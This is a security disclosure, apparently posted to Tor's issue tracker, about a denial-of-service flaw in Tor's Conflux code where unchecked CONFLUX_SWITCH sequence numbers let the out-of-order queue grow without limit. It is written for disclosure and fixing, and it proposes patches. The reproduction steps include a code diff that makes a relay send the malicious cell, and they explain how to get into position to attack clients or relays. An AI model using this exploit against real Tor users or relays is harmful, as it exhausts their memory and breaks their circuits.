Same reporter as #41150, original report https://hackerone.com/bugs?subject=torproject&report_id=3408043. ## Summary A critical denial-of-service vulnerability exists in Tor's Conflux implementation that allows malicious relays to render circuits unusable through sequence number manipulation. The vulnerability stems from insufficient validation of sequence numbers in CONFLUX_SWITCH relay commands. When a malicious relay sends a CONFLUX_SWITCH cell with `relative_seq = UINT32_MAX` (4,294,967,295), this value is directly added to the leg's `last_seq_recv` counter without bounds checking. This causes all subsequent data cells on that leg to be queued in the out-of-order queue indefinitely, leading to memory exhaustion or complete circuit unusability. The vulnerability exists because: 1. **Disabled validation** (`src/core/or/conflux.c:792-800`): The minimum increment check is commented out with "TODO-329-TUNING" markers 2. **Missing upper bound validation**: No maximum limit exists for `relative_seq` values 3. **Unbounded addition** (`src/core/or/conflux.c:817`): `leg->last_seq_recv += relative_seq;` performs direct addition without validation 4. **Unbounded queue growth** (`src/core/or/conflux.c:869-877`): The out-of-order queue (`ooo_q`) has no size limits and can grow indefinitely **Attack Targets**: This vulnerability can affect both clients and relays: - **Exit relays → Clients**: Malicious exit relays can attack clients using conflux circuits (vérifies) - **Relay → Relay**: Potentially, any malicious relay can attack the next relay in a multi-hop circuit path (unverified) - **Source validation**: CONFLUX_SWITCH commands are validated to come from the "last hop" relative to the receiver, which varies by circuit type ## Affected Code Locations - `src/core/or/conflux.c:conflux_process_switch_command()` - Main vulnerability (processes CONFLUX_SWITCH without bounds checking) - `src/core/or/conflux_cell.c:conflux_cell_parse_switch()` - No validation on parsing sequence numbers - `src/core/or/conflux.c:conflux_process_cell()` - Queue management without size limits - `src/core/or/conflux_util.c:conflux_validate_source_hop()` - Source validation that enables relay-to-relay attacks - `src/core/or/conflux_util.c:conflux_get_destination_hop()` - Defines who can send CONFLUX_SWITCH commands ## Prerequisites - Target with Conflux enabled (clients or relays in affected versions where Conflux is default) - Ability to operate as a relay in the target's circuit path - Access to Tor network (no special privileges beyond relay operation required) **Attack Positioning Requirements**: - **To attack clients**: Position as exit relay in client's conflux circuit - **To attack relays**: Position as any relay in a multi-hop circuit path - **Source hop validation**: The attack works because CONFLUX_SWITCH validation only requires the command to come from the expected "previous hop" in the circuit ## Steps To Reproduce ### 1. Set up malicious relay Position yourself as a relay in a conflux circuit by: - **For attacking clients**: Running a Tor relay with exit policy allowing target traffic, becoming an exit relay - **For attacking relays**: Running a Tor relay (middle or exit) that gets included in multi-hop circuit paths - Waiting for conflux circuits to be established through your relay **Technical Note**: The source hop validation in `conflux_validate_source_hop()` checks that CONFLUX_SWITCH commands come from the "last hop" relative to the receiver: - For **origin circuits** (client-initiated): Last hop = exit relay → can attack client - For **OR circuits** (relay-to-relay): Any relay → can attack next relay in path ### 2. Send malicious CONFLUX_SWITCH command Once a conflux circuit is established, send a CONFLUX_SWITCH cell with: ``` relative_seq = UINT32_MAX (4,294,967,295) ``` This can be crafted using the conflux cell building functions (`conflux_cell.c:309`), with a trivial code modification. ```diff --- a/src/core/or/conflux_cell.c +++ b/src/core/or/conflux_cell.c @@ -304,12 +304,16 @@ conflux_cell_parse_switch(const cell_t *cell, uint16_t rh_len) return seq; } +static unsigned int count = 0; + /** Send a RELAY_COMMAND_CONFLUX_SWITCH cell on the circuit. */ bool conflux_send_switch_command(circuit_t *send_circ, uint64_t relative_seq) { + relative_seq = UINT32_MAX; // DEBUG TARGET: Force max value + trn_cell_conflux_switch_t *switch_cell = trn_cell_conflux_switch_new(); cell_t cell; bool ret = true; tor_assert(send_circ); - tor_assert(relative_seq < UINT32_MAX); + //tor_assert(relative_seq < UINT32_MAX); // DEBUG TARGET: no limitation memset(&cell, 0, sizeof(cell)); ``` ### 3. Observe the impact After the malicious CONFLUX_SWITCH is processed by the target (client or relay): - The affected leg's `last_seq_recv` will be advanced by ~4.3 billion - All subsequent DATA cells on that leg will be queued in `ooo_q` - Memory consumption will grow with each queued cell - The circuit becomes effectively unusable - **Target-specific effects**: - **Clients**: Experience connection failures, must establish new circuits - **Relays**: Circuit processing becomes inefficient, potential memory pressure ## Technical Details ### Vulnerable Code Path The vulnerability occurs in `conflux_process_switch_command()`: ```c // src/core/or/conflux.c:817 leg->last_seq_recv += relative_seq; // No bounds checking! ``` ### Disabled Validation The code contains commented-out validation that would provide some protection: ```c // TODO-329-TUNING: This can happen. Disabling for now.. //if (relative_seq < CONFLUX_MIN_LINK_INCREMENT) { // log_warn(LD_CIRC, "Got a conflux switch command with a relative " // "sequence number less than the minimum increment. Closing " // "circuit."); // circuit_mark_for_close(in_circ, END_CIRC_REASON_TORPROTOCOL); // return -1; //} ``` ### Source Hop Validation Analysis The vulnerability works because of how Tor validates CONFLUX_SWITCH command sources: ```c // conflux_validate_source_hop() in src/core/or/conflux_util.c crypt_path_t *dest = conflux_get_destination_hop(in_circ); if (dest != layer_hint) { log_warn(LD_CIRC, "Got conflux command from incorrect hop"); return false; } ``` ```c // conflux_get_destination_hop() defines "valid source" if (CIRCUIT_IS_ORIGIN(circ)) { return TO_ORIGIN_CIRCUIT(circ)->cpath->prev; // Exit relay for origin circuits } else { return NULL; // Any previous hop for OR circuits } ``` This validation allows: - **Exit relays** to send CONFLUX_SWITCH to **clients** (origin circuit last hop) - **Any relay** to send CONFLUX_SWITCH to **next relay** (OR circuit validation: NULL == NULL) ### Memory usage As you can see in the code above (`src/core/or/conflux.c:869-877`), before adding to the queue with `smartlist_pqueue_add()`, there are NO checks for: * Maximum queue size * Maximum number of cells * Maximum memory usage * Any other bounds checking The only thing that happens is: * Memory is allocated for a new cell * The cell is directly added to the queue * A byte counter is incremented `(total_ooo_q_bytes += sizeof(cell_t))` ### Attack Mechanism 1. **Normal state**: `last_seq_recv = N`, `last_seq_delivered = N` 2. **Attack**: Exit sends CONFLUX_SWITCH with `relative_seq = UINT32_MAX` 3. **Result**: `last_seq_recv = N + 4,294,967,295` 4. **Subsequent cells**: When DATA cells arrive, they get sequence numbers like `N + 4,294,967,296` 5. **Queue flooding**: These cells fail the delivery check (`last_seq_recv != last_seq_delivered + 1`) and are queued in `ooo_q` 6. **Memory exhaustion**: Each queued cell consumes ~541 bytes, leading to potential gigabytes of memory usage For example, lab results show an increase of tor client RAM usage of ~1Gb, after less than a minute of vulnerability exploitation. ### Out-of-Order Queue Behavior ```c // src/core/or/conflux.c:870-878 else { // Out of order - QUEUE IT conflux_msg_t *c_msg = tor_malloc_zero(sizeof(conflux_msg_t)); c_msg->seq = leg->last_seq_recv; c_msg->msg = relay_msg_copy(msg); smartlist_pqueue_add(cfx->ooo_q, conflux_queue_cmp, offsetof(conflux_msg_t, heap_idx), c_msg); total_ooo_q_bytes += cost; // Tracked but no limit enforced return false; // Cell not delivered } ``` ## Proof of Concept ### Memory Impact Each queued cell allocates approximately: - `conflux_msg_t` structure: ~32 bytes - Copied `relay_msg_t`: ~509 bytes - Total per cell: ~541 bytes **Impact by Target Type**: - **Client impact**: With 1 million queued cells: ~541 MB memory consumption - **Relay impact**: Multiple circuits affected simultaneously can multiply resource usage - **Lab results**: Client RAM usage increase of ~1GB observed after less than one minute of exploitation ## Mitigation Recommendations ### Immediate Fix Add proper bounds validation in `conflux_process_switch_command()`: ```c #define CONFLUX_MAX_LINK_INCREMENT (CIRCWINDOW_START_MAX * SENDME_INC_DFLT) if (relative_seq < CONFLUX_MIN_LINK_INCREMENT || relative_seq > CONFLUX_MAX_LINK_INCREMENT) { log_warn(LD_CIRC, "Got a conflux switch command with invalid " "relative sequence number %u. Closing circuit.", relative_seq); circuit_mark_for_close(in_circ, END_CIRC_REASON_TORPROTOCOL); return -1; } ``` ### Additional Protections 1. **Queue Size Limits**: Implement maximum limits on `ooo_q` size: ```c #define MAX_OOO_Q_CELLS 1000 #define MAX_OOO_Q_BYTES (10 * 1024 * 1024) // 10MB if (smartlist_len(cfx->ooo_q) >= MAX_OOO_Q_CELLS || cfx->ooo_q_alloc_cost >= MAX_OOO_Q_BYTES) { circuit_mark_for_close(in_circ, END_CIRC_REASON_RESOURCELIMIT); return false; } ``` 2. **Rate Limiting**: Limit frequency of CONFLUX_SWITCH commands per circuit 3. **Sequence Tracking**: Validate that sequence increments are reasonable given actual data transmission ### Long-term Improvements 1. **Re-enable and enhance validation checks** marked with TODO-329-TUNING 2. **Implement comprehensive bounds checking** for all conflux-related sequence operations 3. **Add monitoring and alerting** for abnormal sequence number behavior ## Impact ## Impact Assessment ### Severity: HIGH - **Confidentiality**: None (no data leakage) - **Integrity**: None (no data corruption) - **Availability**: **CRITICAL** (complete DoS) ### Attack Scenarios 1. **Client Memory Exhaustion**: Malicious exit relays can exhaust client memory through unbounded queue growth 2. **Relay Resource Depletion**: Malicious relays can attack other relays in circuit paths, causing resource consumption 3. **Circuit Unusability**: Both clients and relays experience circuit failures requiring new circuit establishment 4. **Cascading Effects**: Relay attacks can impact multiple clients using those relay circuits **Attack Surface**: - **Client-facing**: Any exit relay can attack any client using conflux - **Relay-facing**: Any relay can attack the next relay in multi-hop circuits - **Scale**: Affects both individual connections and network-wide relay infrastructure ### Affected Versions - Tor versions with Conflux support (0.4.8.x series and later) - Any deployment where Conflux is enabled (default configuration) - **Affected Components**: - **Client software**: Tor clients using conflux circuits - **Relay software**: Tor relays processing conflux circuits - **Network infrastructure**: Multi-hop relay circuits using conflux ## Affected Systems - All Tor relays running recent versions (at least from version 0.4.8.1 through current (0.4.8.19)) - Estimated more than 99.9% of currently deployed tor relays /cc @dgoulet, @mikeperry